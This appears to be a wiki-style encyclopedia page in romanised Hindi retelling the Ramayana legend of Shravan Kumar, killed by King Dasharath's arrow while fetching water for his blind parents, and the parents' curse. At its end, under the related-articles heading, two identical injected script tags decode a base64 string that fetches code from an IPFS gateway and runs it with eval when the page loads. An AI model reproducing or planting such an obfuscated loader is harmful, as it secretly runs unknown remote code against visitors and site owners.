श्रवण कुमार

thumb|shravan kumar apane mata-pita ke sath (abhikalpit chitr) shravan kumar ek pauranik charitr hai. aisa mana jata hai ki shravan kumar ke mata-pita aandhe the. shravan kumar atyant shraddhapoorvak unaki seva karate the. ek bar unake mata-pita ki ichchha tirthayatra karane ki huee. shravan kumar ne kaanvar banaee aur usamean donoan ko baithakar kandhe par uthae hue yatra karane lage. ek din ve ayodhya ke samip van mean pahuanche. vahaan ratri ke samay mata-pita ko pyas lagi. shravan kumar pani ke lie apana tuanba lekar sarayoo tat par ge. usi samay maharaj dasharath bhi vahaan akhet ke lie ae hue the. shravan kumar ne jab pani mean apana tuanba duboya, dasharath ne samajha koee hiran jal pi raha hai. unhoanne shabdabhedi ban chho d diya. ban shravan kumar ko laga. dasharath ko dukhi dekh marate hue shravan kumar ne kaha- mujhe apani mrityu ka du:kh nahian, kiantu mata-pita ke lie bahut du:kh hai. ap unhean jakar meri mrityu ka samachar suna dean aur jal pilakar unaki pyas shaant karean. dasharath ne dekha ki shravan divy roop dharan kar viman mean baith svarg ko ja rahe haian. putr ka agni sanskar kar mata-pita ne bhi usi chita mean agni samadhi li aur uttam lok ko prapt hue. kaha jata hai ki raja dasharath ne boodhe maan-bap se unake bete ko chhina tha. isilie raja dasharath ko bhi putr viyog sahana p da ramachandr ji chaudah sal ke lie vanavas ko ge. raja dasharath yah viyog nahian sah pae. isilie unhoanne apane pran tyag die.

ullikhit sandarbh

• saravan (sanskrit: shravan) aandhak muni ke putr haian. kahate haian yah apane aandhe mata pita ko ek bahangi mean bithakar tirth yatra karaya karate the. ramayan ke ayodhyakaand mean inaki katha ka ullekh hai. shravan apane pyase mata-pita ke pine ke lie jal kisi jalashay se lene gaye the aur ayodhya ke raja dasharath bhi vahaan shikar khelane gaye the. dasharath ne samajha ne koee hathi jal pi raha hai aur isi bhram mean unhoanne shabdabhedi ban chala diya jisase shravan kumar svarg sidhare. putr shokakul aandhak muni ne shap diya "ja raja too bhi hamari hi tarah putr viyog mean t dap kar pran tyag karega." phalat: shriram ke vanagaman ke pashchath dasharath 'ha ram, ha ram' kahate mare the. 'shravanakumar' natak prasiddh hai jise mahatma gaandhi ne bhi dekha tha aur unhean isase mata-pita ki bhakti ki shiksha bhi mili thi.valmiki ramayan mean keval 'tapasakumar' milata hai aandhak muni ka nam nahian hai.
• shravan balyakal mean shabdabhedi van chalane mean naipushy prapt kar lene ke karan raja dasharath ko bahut garv tha. pavas rritu mean sayankal ve dhanush- van lekar sarayoo ke kinare gaye. unaka vichar rat ke samay jal pine ke lie ane vale kisi vany pashu ka shikar karane ka tha. achanak pani ki kuchh avaj sunakar unhean laga ki hathi chiangha d raha hai. unhoanne shikar ke lie shabdabhedi van ka prayog kiya. artanad sunakar unhoanne jana ki van kisi manushy ka pranaghatak bana hai. pas jane par unhoanne ek tapasvi ko t dapate dekha jisane batalaya ki vah rrishi hai jo saansarikata ko tyag kar apane aandhe mata-pita ki seva mean rat hai tatha unhian ke lie pani lene ke nimitt vahaan aya tha. rrishi ne dasharath ko batalaya ki vah vaishy pita tatha shoodra mata ka putr tha. usane dasharath se tir nikalane ke lie kaha tatha apane nivasasthan ka marg batalakar mata-pita ke lie pani le jane ke lie kaha. taduparaant usane pran tyag diye. marane se poorn usane yah bhi batalaya ki apane anajane pap ki svayan svikriti kar lene par usake mata-pita sanbhavat: dasharath ko shap nahian deange. dasharath ashram mean usake mata pita ke pas gaye. unhean sanpoorn ghatana batalakar par unhoanne apana aparadh svikar kar liya. mata pita ki ichchhanusar dasharath unhean ghatanasthal par shav ke pas le gaye. vahaan unake vilap karane par iandr ke sath unake putr (shravan) ne viman par akar kaha ki ve bhi shighr hi putr ke nikat pahuancheange. shravan ke chale jane ke bad mata pita vilap karane lage tatha unhoanne dasharath ko shap diya ki vah bhi unhian ki tarah putr viyog mean mareange. unhoanne yah bhi kaha ki atm-svikriti ke karan hi vah jivit haian anyatha sanpoorn kul samet kabhi ke nasht ho chuke hote. taduparaant un donoan ne ek chita mean pravesh kar pran tyag diye.

shravan kumar ki katha

maharaj dasharath ne kaha, "kaushalye! yah mere vivah se poorv ki ghatana hai. ek din sandhya ke samay akasmat maian dhanush ban le rath par savar ho shikar ke liye nikal p da. jab maian sarayoo ke tat ke sath-sath rath mean ja raha tha to mujhe aisa shabd sunaee p da mano vany hathi garaj raha ho. us hathi ko marane ke liye maianne tikshn shabdabhedi ban chho d diya. ban ke lakshy par lagate hi kisi jal mean girate hue manushy ke mukh se ye shabd nikale - 'ah, maian mara! mujh niraparadh ko kisane mara? he pita! he mata! ab meri mrityu ke pashchath tum logoan ki bhi mrityu, jal ke bina pyase hi t dap-t dap kar, ho jayegi. n jane kis papi ne ban mar kar meri aur mere mata-pita ki hatya kar dali.'
"isase mujhe jnat hua ki hathi ki garaj sunana mera bhram tha, vastav mean vah shabd jal mean doobate huye gh de ka tha.
"un vachanoan ko sun kar mere hath kaanpane lage aur mere hathoan se dhanush bhoomi par gir p da. dau data hua maian vahaan par pahuancha jahaan par vah manushy tha. maianne dekha ki ek vanavasi yuvak raktaranjit p da hai aur pas hi ek auandha gh da jal mean p da hai. mujhe dekhakar kruddh svar mean vah bola - 'rajan! mera kya aparadh tha jisake liye apane mera vadh karake mujhe dand diya hai? kya mera aparadh yahi hai ki maian apane pyase vriddh mata-pita ke liye jal lene aya tha? yadi apake hriday mean kianchit matr bhi daya hai to mere pyase mata-pita ko jal pila do jo nikat hi meri pratiksha kar rahe haian. kintu pahale is ban ko mere kaleje se nikalo jisaki pi da se maian t dap raha hooan. yadyapi maian vanavasi hooan kintu phir bhi brahman nahian hooan. mere pita vaishy aur meri mata shoodr hai. isaliye meri mrityu se tumhean brahmahatya ka pap nahian lagega.'
"mere dvara usake hriday se ban khianchate hi usane pran tyag diye. apane is krity se mera hriday pashchatap se bhar utha. gh de mean jal bhar kar maian usake mata pita ke pas pahuancha. maianne dekha, ve donoan atyant durbal aur netrahin the. unaki dasha dekh kar mera hriday aur bhi vidirn ho gaya. meri ahat pate hi ve bole - 'beta shravan! itani der kahaan lagaee? pahale apani mata ko pani pila do kyoanki vah pyas se atyant vyakul ho rahi hai.'
"shravan ke pita ke vachanoan ko sun kar maianne darate-darate kaha - 'he mune! maian ayodhya ka raja dasharath hooan. maianne, aandhakar ke karan, hathi ke bhram mean tumhare niraparadh putr ki hatya kar di hai. ajnanavash kiye gaye apane is aparadh se maian atyant vyathit hooan. ap mujhe dand dijiye.'
"putr ki mrityu ka samachar sun kar donoan vilap karate huye kahane lage - 'man to karata hai ki maian abhi shap dekar tumhean bhasm kar dooan aur tumhare sir ke sat tuk de kar dooan. kintu tumane svayan akar apana aparadh svikar kiya hai, atah maian aisa nahian karooanga. ab tum hamean hamare shravan ke pas le chalo.' shravan ke pas pahuanchane par ve usake mrit sharir ko hath se tatolate huye hriday-vidarak vilap karane lage. apane putr ko unhoanne jalaanjali diya aur usake pashchath ve mujhase bole - 'he rajanh! jis prakar putr viyog mean hamari mrityu ho rahi hai, usi prakar tumhari mrityu bhi putr viyog mean ghor kasht utha kar hogi. shap dene ke pashchath unhoanne apane putr ki chita banaee aur putr ke sath ve donoan svayan bhi chita mean baith jal kar bhasm ho gaye.'
"kaushalye! mere us pap karm ka dand aj mujhe prapt ho raha hai."

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

bahari k diyaan

• shravan kumar (pustak)
• mata pita ka bhakt shravan kumar (yoo-tyoob vidiyo)

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>